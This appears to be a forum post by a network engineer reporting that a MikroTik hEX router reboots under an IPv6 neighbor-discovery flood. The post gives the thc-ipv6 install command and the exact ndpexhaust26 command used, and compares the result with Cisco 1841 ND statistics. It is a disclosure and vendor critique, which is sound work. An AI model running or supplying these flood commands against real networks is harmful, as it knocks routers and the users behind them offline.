So ... Grab a Linux box, put it on your LAN and prepare to LULz to the point of tears.
My normal desktop is a Fedora machine plugged into a Meraki L2 switch and then into a MikroTik HEX w6.42rc52.
Pick an IPv6 /64 that the HEX has to route locally (another network / VLAN in your environment where it would perform discovery).
sudo dnf -y install thc-ipv6
sudo ndpexhaust26 -p -r enp3s0 2605:a000:a8ca:2741::/64
Start laughing or crying at that point because your HEX is rebooting. Yes, rebooting.
Target a Cisco 1841 w/15.0 code and default settings ... nothing happens.
Output from the 1841 when viewing it's ND Cache:
rtr1841-top#sh ipv6 neighbors statistics
IPv6 ND Statistics
Entries 516, High-water 516, Gleaned 3, Scavenged 2, Static 0
INCMP 512 REACH 2 STALE 1 GLEAN 0 DELAY 0 PROBE 1
Requested 1404, timeouts 2936, resolved 6, failed 886
In-progress 512, High-water 512, Throttled 12882, Data discards 1
Requested 45, timeouts 9, resolved 41, failed 3
in-progress 1, high-water 3, throttled 0, current queue 0, queue high-water 0
^^ You can see it is keeping the concurrent requests in check. A continuous ping also shows that connected hosts with REACHABLE entries keeps them reachable.
At this time, this is now another IPv6 deficiency that will prevent me from recommending MikroTik products for anything other than home routing. The fact the router can be REBOOTED simply by an end-user running ndpexhaust26
is scary enough not to mention the ISP side implications of using this hardware and exposing yourself to continue ND related issues.